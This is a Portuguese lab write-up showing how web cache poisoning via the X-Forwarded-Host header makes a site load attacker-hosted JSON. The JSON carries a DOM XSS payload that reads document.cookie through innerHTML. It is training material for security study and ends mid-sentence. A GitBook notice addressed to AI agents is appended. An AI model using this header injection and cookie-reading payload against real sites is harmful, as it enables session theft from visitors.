> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/cache-poisoning/cache-poisoning-to-exploit-an-xss-dom-with-strict-cache.md).

# Envenenamento de Cache para Explorar um XSS no DOM com Cache Estrito

### Web Cache Poisoning para explorar uma vulnerabilidade DOM por meio de um cache com critérios rígidos de cacheabilidade

#### Objetivo do Laboratório

Precisamos **envenenar o cache** para que um visitante da página inicial execute **`alert(document.cookie)`** por meio de uma **vulnerabilidade DOM**.

#### Observações

* A página exibe informações de entrega com base no país (por exemplo, Reino Unido).
* Identificamos um **`geolocate.js`** script que constrói o DOM a partir de um JSON.

<figure><img src="/files/6bfcba514ebc9e21af26f6fff1e4a96bb16bc792" alt=""><figcaption></figcaption></figure>

#### Análise da lógica no lado do cliente

Em **`geolocate.js`** vemos uma função do tipo:

* Ela faz um `fetch(jsonUrl)`
* Então ele recupera `j.country`
* E ela faz: **`div.innerHTML = 'Frete grátis para ' + j.country;`**

```javascript
function initGeoLocate(jsonUrl)
{
    fetch(jsonUrl)
        .then(r => r.json())
        .then(j => {
            let geoLocateContent = document.getElementById('shipping-info');

            let img = document.createElement("img");
            img.setAttribute("src", "/resources/images/localShipping.svg");
            geoLocateContent.appendChild(img)

            let div = document.createElement("div");
            div.innerHTML = 'Frete grátis para ' + j.country;
            geoLocateContent.appendChild(div)
        });
}
```

O JSON carregado por padrão é:

**`/resources/json/geolocate.json`**

```json
{
    "country": "Reino Unido"
}
```

<figure><img src="/files/e85a0d33a0317885f1365b69036d9603cb29ecf9" alt=""><figcaption></figcaption></figure>

Na página inicial, a URL do JSON é construída da seguinte forma:

```javascript
<script>
   initGeoLocate('//' + data.host + '/resources/json/geolocate.json');
</script>
```

<figure><img src="/files/4d88c5cfeed59b912bb7fadf44a9289eb0fb55c2" alt=""><figcaption></figcaption></figure>

#### Ponto de injeção útil (envenenamento de cache)

Observamos que, se adicionarmos um cabeçalho como:

* `X-Forwarded-Host: test.com`<br>

Então **o valor é refletido** em `data.host`, o que então afeta a URL passada para `initGeoLocate()`.

#### Hospedagem do nosso JSON no servidor de exploração

No nosso **servidor de exploração**, criamos um arquivo JSON (exemplo simples):

```json
{
  "country": "Andorra"
}
```

<figure><img src="/files/6ce62833a5e584fd43e6067656e15888c2c7627f" alt=""><figcaption></figcaption></figure>

Em seguida, enviamos uma requisição para a raiz com:

* `X-Forwarded-Host: <nosso-servidor-de-exploração>`

```http
X-Forwarded-Host: exploit-0a6300210305fded80adf70e01a80006.exploit-server.net
```

No início, isso **não carrega** por causa de um problema **CORS** (sem `Access-Control-Allow-Origin`).

<figure><img src="/files/f9b6101fdb7e31e3290ecf1ed004e75b542f2d04" alt=""><figcaption></figcaption></figure>

Portanto, adicionamos na resposta do servidor de exploração:

* `Access-Control-Allow-Origin: *`

```http
Access-Control-Allow-Origin: *
```

Depois disso, o JSON remoto é carregado corretamente.

<figure><img src="/files/58be70382992723b64c25440023b39443ae1684d" alt=""><figcaption></figcaption></figure>

#### Injeção de XSS via JSON (DOM XSS)

Em seguida, substituímos o conteúdo do JSON por um payload, por exemplo:

```json
{
  "country": "<img src=0 onerror=alert(document.cookie)"
}
```

À medida que `j.country` é injetado em `innerHTML`, o navegador interpreta nosso HTML, e \*\*l

<figure><img src="/files/c1be94801f9a5d5d4589cae0cd344803c1404723" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/cache-poisoning/cache-poisoning-to-exploit-an-xss-dom-with-strict-cache.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
